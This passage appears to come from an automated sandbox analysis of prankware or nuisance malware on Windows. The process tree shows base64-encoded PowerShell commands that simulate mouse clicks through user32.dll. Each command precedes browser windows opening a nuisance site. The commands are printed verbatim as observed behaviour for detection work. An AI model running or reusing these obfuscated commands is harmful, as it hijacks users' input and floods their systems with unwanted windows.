AGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcbbbbc728,0x7ffcbbbbc734,0x7ffcbbbbc740
        5⤵
        
        PID:5556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:1848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1016
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6380
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:2504
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe8,0x110,0x7ffcbbbbc728,0x7ffcbbbbc734,0x7ffcbbbbc740
        5⤵
        
        PID:6176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6948
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
